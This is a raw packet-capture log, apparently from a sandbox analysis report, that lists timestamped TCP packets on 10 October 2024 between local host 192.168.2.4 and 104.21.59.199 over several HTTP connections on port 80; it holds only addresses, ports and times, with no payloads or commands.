Oct 10, 2024 21:01:58.252248049 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.252317905 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.252365112 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.256551027 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.256623983 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.256700993 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.256844044 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.256961107 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257046938 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257225037 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257551908 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257579088 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257628918 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257654905 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257680893 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257705927 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257752895 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.257778883 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.261502981 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.546705008 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.558650017 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.563939095 CEST	80	50337	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.563996077 CEST	50337	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.695230961 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.700512886 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:58.700598001 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.701244116 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:58.706099987 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.169331074 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.170135975 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.170490980 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175146103 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175514936 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175545931 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175571918 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175594091 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175609112 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175621986 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175638914 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175652981 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175666094 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175694942 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175698042 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175729036 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175740957 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175767899 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175774097 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175817013 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175839901 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175879002 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.175890923 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.175934076 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.180784941 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.180811882 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.180844069 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.180859089 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.180871010 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.180885077 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.180902004 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.180916071 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.180929899 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.180957079 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.180962086 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.180991888 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.181010008 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.181046963 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.181065083 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.181114912 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.181123972 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.181188107 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.181240082 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.181325912 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.181400061 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.181478024 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.185921907 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.185992956 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.186062098 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186294079 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186343908 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186441898 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186467886 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186575890 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186602116 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186646938 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186674118 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186698914 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186724901 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186770916 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186796904 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186821938 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186847925 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186892033 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186918020 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186943054 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.186968088 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.190922022 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.486589909 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.496227026 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.502099037 CEST	80	50338	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.502226114 CEST	50338	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.839900970 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.845288992 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:59.846132994 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.846734047 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:59.851651907 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.288268089 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.289494038 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.289729118 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.294723988 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294760942 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294814110 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294827938 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.294841051 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294889927 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294917107 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294965029 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.294991016 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.295025110 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.295025110 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.295036077 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.295064926 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.295087099 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.295114040 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.299444914 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.299510002 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300008059 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300065994 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300100088 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300146103 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300163984 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300173998 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300194025 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300203085 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300228119 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300236940 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300256968 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300285101 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300291061 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300352097 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300391912 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300461054 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300508022 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300570011 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300578117 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300626040 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.300640106 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.300685883 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.304459095 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.304536104 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.305231094 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305289984 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.305418015 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305469036 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305500984 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305602074 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305634022 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305681944 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305711031 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305756092 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305783987 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305872917 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305898905 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305946112 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305970907 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.305996895 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306041956 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306067944 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306092978 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306138039 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306164026 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306189060 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.306214094 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.309503078 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.310075045 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.310123920 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.310148954 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.310174942 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.591552019 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.600621939 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.607960939 CEST	80	50339	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.608164072 CEST	50339	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.741700888 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.751014948 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:00.751115084 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.751456022 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:00.760137081 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.231875896 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.233177900 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.233294964 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.238234997 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238353968 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238382101 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238415003 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238441944 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238490105 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238512993 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.238517046 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238543987 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238564014 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.238576889 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238584995 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.238605022 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.238625050 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.238642931 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.238681078 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.243169069 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243324995 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.243555069 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243585110 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243612051 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243685007 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243731976 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243729115 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.243758917 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243787050 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243823051 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.243823051 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.243839979 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243869066 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243896961 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243901014 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.243927002 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.243942976 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.244302988 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.249150038 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.249238014 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.250030041 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250169039 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250204086 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.250402927 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250545025 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250571966 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250598907 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250647068 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250677109 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250704050 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250751019 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250777960 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250808001 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250833035 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250945091 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250971079 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.250996113 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251111984 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251138926 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251163960 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251189947 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251236916 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251262903 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251287937 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.251312971 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.254533052 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.255125999 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.255217075 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.255265951 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.255291939 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.566894054 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.575922012 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.581511021 CEST	80	50340	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.581600904 CEST	50340	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.715783119 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.721698046 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:01.721772909 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.722103119 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:01.727421045 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.167017937 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.180238962 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.180563927 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185245037 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185504913 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185533047 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185574055 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185585976 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185614109 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185631037 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185640097 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185652018 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185669899 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185677052 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185712099 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185734034 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185760021 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185772896 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185790062 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.185796976 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.185827971 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190011978 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190082073 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190541029 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190587044 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190679073 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190722942 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190747976 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190774918 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190788031 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190805912 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190817118 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190845013 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.190912962 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190958977 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.190968037 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.191005945 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.191020012 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.191050053 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.192794085 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.195209026 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.195271015 CEST	50341	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:02:02.195730925 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.195816994 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.195966005 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196170092 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196285009 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196378946 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196405888 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196449995 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196475983 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196501017 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196531057 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.196556091 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.197665930 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.199898958 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.199925900 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.199976921 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200002909 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200047016 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200073004 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200098038 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200129986 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200176001 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200201035 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200227022 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200253963 CEST	80	50341	104.21.59.199	192.168.2.4
Oct 10, 2024 21:02:02.200299025 CEST	80	50341	104.21.59.199	192.168.2.4
